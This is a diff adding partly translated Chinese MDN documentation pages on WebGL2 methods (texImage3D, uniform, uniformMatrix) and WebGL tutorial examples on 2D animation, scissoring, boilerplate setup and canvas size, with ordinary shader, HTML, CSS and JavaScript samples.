  • gl.UNSIGNED_SHORT_4_4_4_4: 红色占四个字节,绿色占 四 个字节,蓝色占 四 个字节
  • +
  • gl.UNSIGNED_SHORT_5_5_5_1:红色占五个字节,绿色占五个字节,蓝色占五个字节,alpha占一个字节
  • +
  • gl.BYTE (这些属性的信息原文中均未提到,但是在webgl1中出现过,可以适当参考webgl1文献)
  • +
  • gl.UNSIGNED_SHORT
  • +
  • gl.SHORT
  • +
  • gl.UNSIGNED_INT
  • +
  • gl.INT
  • +
  • gl.HALF_FLOAT
  • +
  • gl.FLOAT
  • +
  • gl.UNSIGNED_INT_2_10_10_10_REV
  • +
  • gl.UNSIGNED_INT_10F_11F_11F_REV
  • +
  • gl.UNSIGNED_INT_5_9_9_9_REV
  • +
  • gl.UNSIGNED_INT_24_8
  • +
  • gl.FLOAT_32_UNSIGNED_INT_24_8_REV (pixels must be {{jsxref("null")}})
  • +
+
+
source
+
其中一个对象可以用作纹理对象的源:
+
+
    +
  • {{domxref("ArrayBufferView")}},
  • +
  • {{domxref("ImageBitmap")}},
  • +
  • {{domxref("ImageData")}},
  • +
  • {{domxref("HTMLImageElement")}},
  • +
  • {{domxref("HTMLCanvasElement")}},
  • +
  • {{domxref("HTMLVideoElement")}}.
  • +
+
+
offset
+
一个针对于{{domxref("WebGLBuffer")}}所储存数据的{{domxref("GLintptr")}}字节的偏移量。用来重新加载已经用WebGLBuffer绑定到PIXEL_UNPACK_BUFFER的{{domxref("WebGLTexture")}} 。
+
+
    +
+
+
+ +

返回值

+ +

没有

+ +

例子

+ +
gl.texImage3D(gl.TEXTURE_3D,
+              0,                                          // level
+              gl.RGBA,                                    // internalFormat
+              1,                                          // width
+              1,                                          // height
+              1,                                          // depth
+              0,                                          // border
+              gl.RGBA,                                    // format
+              gl.UNSIGNED_BYTE,                           // type
+              new Uint8Array([0xff, 0x00, 0x00, 0x00]));  // data
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
说明(Specification )状态(Status)意见(Comment)
{{SpecName('WebGL2', "#3.7.6", "texImage3D")}}{{Spec2('WebGL2')}}Updated definition for WebGL.
{{SpecName('OpenGL ES 3.0', "glTexImage3D.xhtml", "glTexImage3D")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL ES 3.0 API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGL2RenderingContext.texImage3D")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webgl2renderingcontext/uniform/index.html b/files/zh-cn/web/api/webgl2renderingcontext/uniform/index.html new file mode 100644 index 0000000000..22b773d4de --- /dev/null +++ b/files/zh-cn/web/api/webgl2renderingcontext/uniform/index.html @@ -0,0 +1,85 @@ +--- +title: 'WebGL2RenderingContext.uniform[1234][uif][v]()' +slug: Web/API/WebGL2RenderingContext/uniform +translation_of: Web/API/WebGL2RenderingContext/uniform +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +

 WebGL APIWebGL2RenderingContext.uniform[1234][uif][v]() 方法提供了uniform(es)变量的详细值

+ +
+

ui 意为无符号整数, i 意为整数, f 意为浮点数, 并且 v 意为矢量.
+ 并不是所有的组合都是有效的: u 不能是 f的组合。详见下方语法表格。用 正则表达式概括语法: uniform[1234](u?i|f)v?

+
+ +

语法

+ +
void gl.uniform1ui(location, v0);
+void gl.uniform2ui(location, v0, v1);
+void gl.uniform3ui(location, v0, v1, v2);
+void gl.uniform4ui(location, v0, v1, v2, v3);
+void gl.uniform1fv(location, data, optional srcOffset, optional srcLength);
+void gl.uniform2fv(location, data, optional srcOffset, optional srcLength);
+void gl.uniform3fv(location, data, optional srcOffset, optional srcLength);
+void gl.uniform4fv(location, data, optional srcOffset, optional srcLength);
+void gl.uniform1iv(location, data, optional srcOffset, optional srcLength);
+void gl.uniform2iv(location, data, optional srcOffset, optional srcLength);
+void gl.uniform3iv(location, data, optional srcOffset, optional srcLength);
+void gl.uniform4iv(location, data, optional srcOffset, optional srcLength);
+void gl.uniform1uiv(location, data, optional srcOffset, optional srcLength);
+void gl.uniform2uiv(location, data, optional srcOffset, optional srcLength);
+void gl.uniform3uiv(location, data, optional srcOffset, optional srcLength);
+void gl.uniform4uiv(location, data, optional srcOffset, optional srcLength);
+
+ +

参数

+ +
+
location
+
一个 {{domxref("WebGLUniformLocation")}} 对象包含了本地uniform属性的修改。
+
value, v0, v1, v2, v3
+
一个新的值被应用到uniform变量当中。合理情况: +
    +
  • {{jsxref("Number")}} 如果是无符号整数值 (则用 ui方法),如果是整数值 (则用 i方法), 如果是浮点数(则用f方法).
  • +
  •  {{jsxref("Uint32Array")}} 用于无符号整数向量(矢量)方法 (则用uiv方法).
  • +
+
+
+ +

返回值

+ +

没有返回值

+ +

概述

+ + + + + + + + + + + + + + + + + + + +
详述状态用法(Comment)
{{SpecName('WebGL2', "#3.7.8", "uniform")}}{{Spec2('WebGL2')}}WebGL的初始定义.
{{SpecName('OpenGL ES 3.0', "glUniform.xhtml", "glUniform")}}{{Spec2('OpenGL ES 3.0')}}OpenGL API的手册页(类似).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGL2RenderingContext.uniform1ui")}}

+ +

详见

+ + diff --git a/files/zh-cn/web/api/webgl2renderingcontext/uniformmatrix/index.html b/files/zh-cn/web/api/webgl2renderingcontext/uniformmatrix/index.html new file mode 100644 index 0000000000..c541e1200d --- /dev/null +++ b/files/zh-cn/web/api/webgl2renderingcontext/uniformmatrix/index.html @@ -0,0 +1,79 @@ +--- +title: 'WebGL2RenderingContext.uniformMatrix[234]x[234]fv()' +slug: Web/API/WebGL2RenderingContext/uniformMatrix +translation_of: Web/API/WebGL2RenderingContext/uniformMatrix +--- +
{{APIRef("WebGL")}} {{SeeCompatTable}}
+ +
WebGL 2 API WebGL2RenderingContext.uniformMatrix[234]x[234]fv()  方法向uniform变量中传入指定的矩阵值。
+ +
+

这个方法不用 2x2, 3x3, 和 4x4 版本 . 他们通常用2, 3, 和4, 分别表示,详见下方语法。

+
+ +

语法

+ +
void gl.uniformMatrix2fv(location, transpose, data, optional srcOffset, optional srcLength);
+void gl.uniformMatrix3x2fv(location, transpose, data, optional srcOffset, optional srcLength);
+void gl.uniformMatrix4x2fv(location, transpose, data, optional srcOffset, optional srcLength);
+void gl.uniformMatrix2x3fv(location, transpose, data, optional srcOffset, optional srcLength);
+void gl.uniformMatrix3fv(location, transpose, data, optional srcOffset, optional srcLength);
+void gl.uniformMatrix4x3fv(location, transpose, data, optional srcOffset, optional srcLength);
+void gl.uniformMatrix2x4fv(location, transpose, data, optional srcOffset, optional srcLength);
+void gl.uniformMatrix3x4fv(location, transpose, data, optional srcOffset, optional srcLength);
+void gl.uniformMatrix4fv(location, transpose, data, optional srcOffset, optional srcLength);
+
+ +

参数

+ +
+
location
+
一个包含想要修改的uniform变量的{{domxref("WebGLUniformLocation")}} 对象
+
transpose
+
一个决定是否转置矩阵的布尔值( {{domxref("GLboolean")}}。 在webgl中必须为false
+
data
+
一个包含方阵中浮点数的类数组对象(TypeArray) {{jsxref("Float32Array")}}。
+
+ +

返回值

+ +

没有。

+ +

例子

+ +
gl.uniformMatrix2x3fv(loc, false, [1, 2, 3, 4, 5, 6]);
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
Specification(规格)Status(状态)Comment(评论)
{{SpecName('WebGL2', "#3.7.8", "uniformMatrix")}}{{Spec2('WebGL2')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 3.0', "glUniform.xhtml", "glUniformMatrix")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGL2RenderingContext.uniformMatrix2fv")}}

+ +

令见

+ + diff --git a/files/zh-cn/web/api/webgl_api/basic_2d_animation_example/index.html b/files/zh-cn/web/api/webgl_api/basic_2d_animation_example/index.html new file mode 100644 index 0000000000..0b0f4f4193 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/basic_2d_animation_example/index.html @@ -0,0 +1,318 @@ +--- +title: 一个 2D WebGL 动画的基础示例 +slug: Web/API/WebGL_API/Basic_2D_animation_example +tags: + - 测试翻译 +translation_of: Web/API/WebGL_API/Basic_2D_animation_example +--- +
{{WebGLSidebar}}
+ +
+

在这个WebGL示例中,我们创建一个画布,并在其中使用WebGL渲染旋转正方形。我们用来表示场景的坐标系与画布的坐标系相同。也就是说,(0, 0)这个坐标在左上角,右下角是坐标在(600, 460)。

+ +

Vertex shader

+ +

首先,让我们看一下顶点着色器。它的工作如同以往,是将我们用于场景的坐标转换为剪贴空间的坐标(即系统中的(0,0)位于上下文的中心,每个轴从-1.0扩展到1.0,而不管上下文的实际大小)。

+ +
<script id="vertex-shader" type="x-shader/x-vertex">
+  attribute vec2 aVertexPosition;
+
+  uniform vec2 uScalingFactor;
+  uniform vec2 uRotationVector;
+
+  void main() {
+    vec2 rotatedPosition = vec2(
+      aVertexPosition.x * uRotationVector.y +
+            aVertexPosition.y * uRotationVector.x,
+      aVertexPosition.y * uRotationVector.y -
+            aVertexPosition.x * uRotationVector.x
+    );
+
+    gl_Position = vec4(rotatedPosition * uScalingFactor, 0.0, 1.0);
+  }
+</script>
+ +

主程序与我们共享属性aVertexPosition,它是顶点在其使用的任何坐标系中的位置。我们需要转换这些值,以便位置的两个组件都在-1.0到1.0的范围内。通过乘以基于上下文宽高比的缩放因子,可以很容易地完成此操作。我们很快就会看到这个计算。

+ +

我们也可以通过一次变换来旋转这个图形。 The rotated position of the vertex is computed by applying the rotation vector, found in the uniform uRotationVector, that's been computed by the JavaScript code.

+ +

Then the final position is computed by multiplying the rotated position by the scaling vector provided by the JavaScript code in uScalingFactor. The values of z and w are fixed at 0.0 and 1.0, respectively, since we're drawing in 2D.

+ +

The standard WebGL global gl_Position is then set to the transformed and rotated vertex's position.

+ +

Fragment shader

+ +

Next comes the fragment shader. Its role is to return the color of each pixel in the shape being rendered. Since we're drawing a solid, untextured object with no lighting applied, this is exceptionally simple:

+ +
<script id="fragment-shader" type="x-shader/x-fragment">
+  #ifdef GL_ES
+    precision highp float;
+  #endif
+
+  uniform vec4 uGlobalColor;
+
+  void main() {
+    gl_FragColor = uGlobalColor;
+  }
+</script>
+ +

This starts by specifying the precision of the float type, as required. Then we set the global gl_FragColor to the value of the uniform uGlobalColor, which is set by the JavaScript code to the color being used to draw the square.

+ +

HTML

+ +

The HTML consists solely of the {{HTMLElement("canvas")}} that we'll obtain a WebGL context on.

+ +
<canvas id="glcanvas" width="600" height="460">
+  Oh no! Your browser doesn't support canvas!
+</canvas>
+ +

JavaScript

+ +

Globals and initialization

+ +

First, the global variables. We won't discuss these here; instead, we'll talk about them as they're used in the code to come.

+ +
let gl = null;
+let glCanvas = null;
+
+// Aspect ratio and coordinate system
+// details
+
+let aspectRatio;
+let currentRotation = [0, 1];
+let currentScale = [1.0, 1.0];
+
+// Vertex information
+
+let vertexArray;
+let vertexBuffer;
+let vertexNumComponents;
+let vertexCount;
+
+// Rendering data shared with the
+// scalers.
+
+let uScalingFactor;
+let uGlobalColor;
+let uRotationVector;
+let aVertexPosition;
+
+// Animation timing
+
+let previousTime = 0.0;
+let degreesPerSecond = 90.0;
+
+ +

Initializing the program is handled through a {{event("load")}} event handler called startup():

+ +
window.addEventListener("load", startup, false);
+
+function startup() {
+  glCanvas = document.getElementById("glcanvas");
+  gl = glCanvas.getContext("webgl");
+
+  const shaderSet = [
+    {
+      type: gl.VERTEX_SHADER,
+      id: "vertex-shader"
+    },
+    {
+      type: gl.FRAGMENT_SHADER,
+      id: "fragment-shader"
+    }
+  ];
+
+  shaderProgram = buildShaderProgram(shaderSet);
+
+  aspectRatio = glCanvas.width/glCanvas.height;
+  currentRotation = [0, 1];
+  currentScale = [1.0, aspectRatio];
+
+  vertexArray = new Float32Array([
+      -0.5, 0.5, 0.5, 0.5, 0.5, -0.5,
+      -0.5, 0.5, 0.5, -0.5, -0.5, -0.5
+  ]);
+
+  vertexBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, vertexBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, vertexArray, gl.STATIC_DRAW);
+
+  vertexNumComponents = 2;
+  vertexCount = vertexArray.length/vertexNumComponents;
+
+  currentAngle = 0.0;
+  rotationRate = 6;
+
+  animateScene();
+}
+ +

After getting the WebGL context, gl, we need to begin by building the shader program. Here, we're using code designed to let us add multiple shaders to our program quite easily. The array shaderSet contains a list of objects, each describing one shader function to be compiled into the program. Each function has a type (one of gl.VERTEX_SHADER or gl.FRAGMENT_SHADER) and an ID (the ID of the {{HTMLElement("script")}} element containing the shader's code).

+ +

The shader set is passed into the function buildShaderProgram(), which returns the compiled and linked shader program.  We'll look at how this works next.

+ +

Once the shader program is built, we compute the aspect ratio of our context by dividing its width by its height. Then we set the current rotation vector for the animation to [0, 1], and the scaling vector to [1.0, aspectRatio]. The scaling vector, as we saw in the vertex shader, is used to scale the coordinates to fit the -1.0 to 1.0 range.

+ +

The array of vertices is created next, as a {{jsxref("Float32Array")}} with six coordinates (three 2D vertices) per triangle to be drawn, for a total of 12 values.

+ +

As you can see, we're using a coordinate system of -1.0 to 1.0 for each axis. Why, you may ask, do we need to do any adjustments at all? This is simply because our context is not square. We're using a context that's 600 pixels wide and 460 tall. Each of those dimensions is mapped to the range -1.0 to 1.0. Since the two axes aren't the same length, if we don't adjust the values of one of the two axes, the square will get stretched out in one direction or the other. So we need to normalize these values.

+ +

Once the vertex array has been created, we create a new GL buffer to contain them by calling {{domxref("WebGLRenderingContext.createBuffer", "gl.createBuffer()")}}. We bind the standard WebGL array buffer reference to that by calling {{domxref("WebGLRenderingContext.bindBuffer", "gl.bindBuffer()")}} and then copy the vertex data into the buffer using {{domxref("WebGLRenderingContext.bufferData", "gl.bufferData()")}}. The usage hint gl.STATIC_DRAW is specified, telling WebGL that the data will be set only one time and never modified, but will be used repeatedly. This lets WebGL consider any optimizations it can apply that may improve performance based on that information.

+ +

With the vertex data now provided to WebGL, we set vertexNumComponents to the number of components in each vertex (2, since they're 2D vertexes) and vertexCount to the number of vertexes in the vertex list.

+ +

Then the current rotation angle (in degrees) is set to 0.0, since we haven't performed any rotation yet, and the rotation speed (in degrees per screen refresh period, typically 60 FPS) is set to 6.

+ +

Finally, animateScene() is called to render the first frame and schedule the rendering of the next frame of the animation.

+ +

Compiling and linking the shader program

+ +

Constructing and linking the program

+ +

The buildShaderProgram() function accepts as input an array of objects describing a set of shader functions to be compiled and linked into the shader program and returns the shader program after it's been built and linked.

+ +
function buildShaderProgram(shaderInfo) {
+  let program = gl.createProgram();
+
+  shaderInfo.forEach(function(desc) {
+    let shader = compileShader(desc.id, desc.type);
+
+    if (shader) {
+      gl.attachShader(program, shader);
+    }
+  });
+
+  gl.linkProgram(program)
+
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    console.log("Error linking shader program:");
+    console.log(gl.getProgramInfoLog(program));
+  }
+
+  return program;
+}
+ +

First, {{domxref("WebGLRenderingContext.createProgram", "gl.createProgram()")}} is called to create a new, empty, GLSL program.

+ +

Then, for each shader in the specified list of shaders, we call a compileShader() function to compile it, passing into it the ID and type of the shader function to build. Each of those objects includes, as mentioned before, the ID of the <script> element the shader code is found in and the type of shader it is. The compiled shader is attached to the shader program by passing it into {{domxref("WebGLRenderingContext.attachShader", "gl.attachShader()")}}.

+ +
+

We could go a step farther here, actually, and look at the value of the <script> element's type attribute to determine the shader type.

+
+ +

Once all of the shaders are compiled, the program is linked using {{domxref("WebGLRenderingContext.linkProgram", "gl.linkProgram()")}}.

+ +

If an error occurrs while linking the program, the error message is logged to console.

+ +

Finally, the compiled program is returned to the caller.

+ +

Compiling an individual shader

+ +

The compileShader() function, below, is called by buildShaderProgram() to compile a single shader.

+ +
function compileShader(id, type) {
+  let code = document.getElementById(id).firstChild.nodeValue;
+  let shader = gl.createShader(type);
+
+  gl.shaderSource(shader, code);
+  gl.compileShader(shader);
+
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+    console.log(`Error compiling ${type === gl.VERTEX_SHADER ? "vertex" : "fragment"} shader:`);
+    console.log(gl.getShaderInfoLog(shader));
+  }
+  return shader;
+}
+ +

The code is fetched from the HTML document by obtaining the value of the text node contained within the {{HTMLElement("script")}} element with the specified ID. Then a new shader of the specified type is created using {{domxref("WebGLRenderingContext.createShader", "gl.createShader()")}}.

+ +

The source code is sent into the new shader by passing it into {{domxref("WebGLRenderingContext.shaderSource", "gl.shaderSource()")}}, and then the shader is compiled using {{domxref("WebGLRenderingContext.compileShader", "gl.compileShader()")}}

+ +

Compile errors are logged to the console. Note the use of a template literal string to insert the correct shader type string into the message that gets generated. The actual error details are obtained by calling {{domxref("WebGLRenderingContext.getShaderInfoLog", "gl.getShaderInfoLog()")}}.

+ +

Finally, the compiled shader is returned to the caller (which is the buildShaderProgram() function.

+ +

Drawing and animating the scene

+ +

The animateScene() function is called to render each animation frame.

+ +
function animateScene() {
+  gl.viewport(0, 0, glCanvas.width, glCanvas.height);
+  gl.clearColor(0.8, 0.9, 1.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+
+  let radians = currentAngle * Math.PI / 180.0;
+  currentRotation[0] = Math.sin(radians);
+  currentRotation[1] = Math.cos(radians);
+
+  gl.useProgram(shaderProgram);
+
+  uScalingFactor =
+      gl.getUniformLocation(shaderProgram, "uScalingFactor");
+  uGlobalColor =
+      gl.getUniformLocation(shaderProgram, "uGlobalColor");
+  uRotationVector =
+      gl.getUniformLocation(shaderProgram, "uRotationVector");
+
+  gl.uniform2fv(uScalingFactor, currentScale);
+  gl.uniform2fv(uRotationVector, currentRotation);
+  gl.uniform4fv(uGlobalColor, [0.1, 0.7, 0.2, 1.0]);
+
+  gl.bindBuffer(gl.ARRAY_BUFFER, vertexBuffer);
+
+  aVertexPosition =
+      gl.getAttribLocation(shaderProgram, "aVertexPosition");
+
+  gl.enableVertexAttribArray(aVertexPosition);
+  gl.vertexAttribPointer(aVertexPosition, vertexNumComponents,
+        gl.FLOAT, false, 0, 0);
+
+  gl.drawArrays(gl.TRIANGLES, 0, vertexCount);
+
+  window.requestAnimationFrame(function(currentTime) {
+    let deltaAngle = ((currentTime - previousTime) / 1000.0)
+          * degreesPerSecond;
+
+    currentAngle = (currentAngle + deltaAngle) % 360;
+
+    previousTime = currentTime;
+    animateScene();
+  });
+}
+ +

The first thing that needs to be done in order to draw a frame of the animation is to clear the background to the desired color. In this case, we set the viewport based on the size of the {{HTMLElement("canvas")}}, call {{domxref("WebGLRenderingContext.clearColor", "clearColor()")}} to set the color to use when clearing content, then we clear the buffer with {{domxref("WebGLRenderingContext.clear", "clear()")}}.

+ +

Next, the current rotation vector is computed by converting the current rotation in degrees (currentAngle) into {{interwiki("wikipedia", "radians")}}, then setting the first component of the rotation vector to the {{interwiki("wikipedia", "sine")}} of that value and the second component to the {{interwiki("wikipedia", "cosine")}}. The currentRotation vector is now the location of the point on the {{interwiki("wikipedia", "unit circle")}} located at the angle currentAngle.

+ +

{{domxref("WebGLRenderingContext.useProgram", "useProgram()")}} is called to activate the GLSL shading program we established previously. Then we obtain the locations of each of the uniforms used to share information between the JavaScript code and the shaders (with {{domxref("WebGLRenderingContext.getUniformLocation", "getUniformLocation()")}}).

+ +

The uniform named uScalingFactor is set to the currentScale value previously computed; this, as you may recall, is the value used to adjust the coordinate system based on the aspect ratio of the context. This is done using {{domxref("WebGLRenderingContext.uniform2fv", "uniform2fv()")}} (since this is a 2-value floating-point vector).

+ +

uRotationVector is set to the current rotation vector (currentRotation), also using uniform2fv().

+ +

uGlobalColor is set using {{domxref("WebGLRenderingContext.uniform4fv", "uniform4fv()")}} to the color we wish to use when drawing the square. This is a 4-component floating-point vector (one component each for red, green, blue, and alpha).

+ +

Now that that's all out of the way, we can set up the vertex buffer and draw our shape, first, the buffer of vertexes that will be used to draw the triangles of the shape is set by calling {{domxref("WebGLRenderingContext.bindBuffer", "bindBuffer()")}}. Then the vertex position attribute's index is obtained from the shader program by calling {{domxref("WebGLRenderingContext.getAttribLocation", "getAttribLocation()")}}.

+ +

With the index of the vertex position attribute now available in aVertexPosition, we call enableVertexAttribArray() to enable the position attribute so it can be used by the shader program (in particular, by the vertex shader).

+ +

Then the vertex buffer is bound to the aVertexPosition attribute by calling {{domxref("WebGLRenderingContext.vertexAttribPointer", "vertexAttribPointer()")}}. This step is not obvious, since this binding is almost a side effect. But as a result, accessing aVertexPosition now obtains data from the vertex buffer.

+ +

With the association in place between the vertex buffer for our shape and the aVertexPosition attribute used to deliver vertexes one by one into the vertex shader, we're ready to draw the shape by calling {{domxref("WebGLRenderingContext.drawArrays", "drawArrays()")}}.

+ +

At this point, the frame has been drawn. All that's left to do is to schedule to draw the next one. That's done here by calling {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}, which asks that a callback function be executed the next time the browser is ready to update the screen.

+ +

Our requestAnimationFrame() callback receives as input a single parameter, currentTime, which specifies the time at which the frame drawing began. We use that and the saved time at which the last frame was drawn, previousTime, along with the number of degrees per second the square should rotate (degreesPerSecond) to calculate the new value of currentAngle. Then the value of previousTime is updated and we call animateScene() to draw the next frame (and in turn schedule the next frame to be drawn, ad infinitum).

+
+ +

Result

+ +

This is a pretty simple example, since it's just drawing one simple object, but the concepts used here extend to much more complex animations.

+ +

{{EmbedLiveSample("live-sample", 660, 500)}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webgl_api/by_example/basic_scissoring/index.html b/files/zh-cn/web/api/webgl_api/by_example/basic_scissoring/index.html new file mode 100644 index 0000000000..4a21b9265e --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/by_example/basic_scissoring/index.html @@ -0,0 +1,90 @@ +--- +title: Basic scissoring +slug: Web/API/WebGL_API/By_example/Basic_scissoring +translation_of: Web/API/WebGL_API/By_example/Basic_scissoring +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Color_masking","Learn/WebGL/By_example/Canvas_size_and_WebGL")}}

+ +
+
+

在本例中,我们将学会如何使用WebGL (scissoring operations)剪切操作来绘制简单的矩形和正方形。Scissoring建立了一个剪切区域,在此区域内不会发生绘图。

+
+ +

{{EmbedLiveSample("basic-scissoring-source",660,425)}}

+ +
+

Clearing the drawing buffer when scissoring applies

+ +

This is a simple demonstration of a rendering with {{domxref("WebGLRenderingContext.scissor","scissor()")}}.

+ +

Although the {{domxref("WebGLRenderingContext.clear","clear()")}} drawing command writes the clear color (set by {{domxref("WebGLRenderingContext.clearColor","clearColor()")}}) to all pixels in the drawing buffer, {{domxref("WebGLRenderingContext.scissor","scissor()")}} defines a mask that only allows pixels inside the specified rectangular area to be updated.

+ +

This is a good opportunity to talk about the difference between pixels and fragments. A pixel is a picture element (in practice, a point) on the screen, or a single element of the drawing buffer, that area in memory that holds your pixel data (such as {{Glossary("RGBA")}} color components). A fragment refers to the pixel while it is being handled by the {{Glossary("WebGL")}} pipeline.

+ +

The reason for this distinction is that fragment color (and other fragment values, such as depth) may be manipulated and changed several times during graphics operations before finally being written to the screen. We have already seen how fragment color changes during graphics operations, by applying {{domxref("WebGLRenderingContext.colorMask()","color masking", "", 1)}}. In other cases, the fragments may be discarded altogether (so the pixel value is not updated), or it may interact with the already existing pixel value (such as when doing color blending for non-opaque elements in the scene).

+ +

Here we see another example of the distinction between fragments and pixels. Scissoring is a distinct stage in the {{Glossary("WebGL")}}/{{Glossary("OpenGL")}} graphics pipeline (it occurs after color clearing, but before color masking). Before the actual pixels are updated, fragments must go through the scissor test. If the fragments pass the scissor test, they continue down the graphics pipeline, and the corresponding pixels are updated on the screen. If they fail the test, they are immediately discarded, no further processing occurs, and pixels are not updated. Because only fragments within the specified rectangular area successfully pass the scissor test, only pixels inside that area are updated, and we get a rectangle on the screen.

+ +

The scissoring stage of the pipeline is disabled by default. We enable it here using the {{domxref("WebGLRenderingContext.enable","enable()")}} method (you will also use enable() to activate many other features of WebGL; hence, the use of the SCISSOR_TEST constant as an argument in this case). This again demonstrates the typical order of commands in {{Glossary("WebGL")}}. We first tweak WebGL state. In this case, enabling the scissor test and establishing a rectangular mask. Only when the WebGL state has been satisfactorily tweaked, we execute the drawing command (in this case, clear()) that starts the processing of fragments down the graphics pipeline.

+
+ +
+
<p>Result of of scissoring.</p>
+<canvas>Your browser does not seem to support
+    HTML5 canvas.</canvas>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+
+ +
window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupWebGL, false);
+  var paragraph = document.querySelector("p");
+  var canvas = document.querySelector("canvas");
+
+  // The following two lines set the size (in CSS pixels) of
+  // the drawing buffer to be identical to the size of the
+  // canvas HTML element, as determined by CSS.
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    paragraph.innerHTML = "Failed to get WebGL context. "
+      + "Your browser or device may not support WebGL.";
+    return;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+
+  // Enable scissoring operation and define the position and
+  // size of the scissoring area.
+  gl.enable(gl.SCISSOR_TEST);
+  gl.scissor(40, 20, 60, 130);
+
+  // Clear the drawing buffer solid yellow.
+  gl.clearColor(1.0, 1.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+}, false);
+
+ +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Color_masking","Learn/WebGL/By_example/Canvas_size_and_WebGL")}}

diff --git a/files/zh-cn/web/api/webgl_api/by_example/boilerplate_1/index.html b/files/zh-cn/web/api/webgl_api/by_example/boilerplate_1/index.html new file mode 100644 index 0000000000..6abaf4b033 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/by_example/boilerplate_1/index.html @@ -0,0 +1,86 @@ +--- +title: Boilerplate 1 +slug: Web/API/WebGL_API/By_example/Boilerplate_1 +translation_of: Web/API/WebGL_API/By_example/Boilerplate_1 +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Canvas_size_and_WebGL","Learn/WebGL/By_example/Scissor_animation")}}

+ +
+
+

这个例子描述了从现在开始将要隐藏重复的代码片断,以及定义一个JavaScript函数复用以简化WebGL初始化。

+
+ +

{{EmbedLiveSample("boilerplate-1-source",660,400)}}

+ +
+

用于设置WebGL呈现上下文的复用代码

+ +

现在你很习惯看到相同的{{Glossary("HTML")}}, {{Glossary("CSS")}}和{{Glossary("JavaScript")}}重复一遍又一遍。所以我们从现在起要隐藏他们。这将使我们能够专注于代码最有趣的部分相关学习{{Glossary("WebGL")}}。

+ +

特别是,在HTML的{{HTMLElement("p")}}元素包含一些描述性的文本页面也可以是错误消息;一个{{HTMLElement("canvas")}} 元素;和一个可选的{{HTMLElement("button")}}。CSS规则包含bodycanvas, 和button。任何额外的冗余的CSS和HTML将不会显示在页面的具体的例子。

+ +

在以下示例中,我们将使用一个JavaScript函数功能,getRenderingContext() ,来初始化{{domxref("WebGLRenderingContext","WebGL rendering context", "", 1)}}。现在,您应该能够了解什么功能。基本上,它得到了WebGL从画布元素,渲染上下文初始化绘图缓冲区,清除它黑色,并返回初始化上下文。在错误的情况下,它会显示一个错误消息,并返回 {{jsxref("null")}}。

+ +

最后,所有JavaScript代码将运行在一个直接的函数,这是一种常见的JavaScript技术(see {{Glossary("Function")}})。函数声明和调用也将被隐藏。

+
+ +
+

HTML

+ +
<p>[ Some descriptive text about the example. ]</p>
+<button>[ Optional button element. ]</button>
+<canvas>Your browser does not seem to support
+    HTML5 canvas.</canvas>
+
+ +

CSS

+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +

JavaScript

+ +
function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Failed to get WebGL context."
+      + "Your browser or device may not support WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+
+ +

The source code of this example is also available on GitHub.

+
+
+ +

{{PreviousNext("Learn/WebGL/By_example/Canvas_size_and_WebGL","Learn/WebGL/By_example/Scissor_animation")}}

diff --git a/files/zh-cn/web/api/webgl_api/by_example/canvas_size_and_webgl/index.html b/files/zh-cn/web/api/webgl_api/by_example/canvas_size_and_webgl/index.html new file mode 100644 index 0000000000..518571028d --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/by_example/canvas_size_and_webgl/index.html @@ -0,0 +1,80 @@ +--- +title: Canvas size and WebGL +slug: Web/API/WebGL_API/By_example/Canvas_size_and_WebGL +translation_of: Web/API/WebGL_API/By_example/Canvas_size_and_WebGL +--- +
{{IncludeSubnav("/en-US/Learn")}}
+ +

{{PreviousNext("Learn/WebGL/By_example/Basic_scissoring","Learn/WebGL/By_example/Boilerplate_1")}}

+ +
+

此WebGL案例将探究设置(或不设置)Canvas属性的宽高值在浏览器中显示的影响。

+
+ +
+

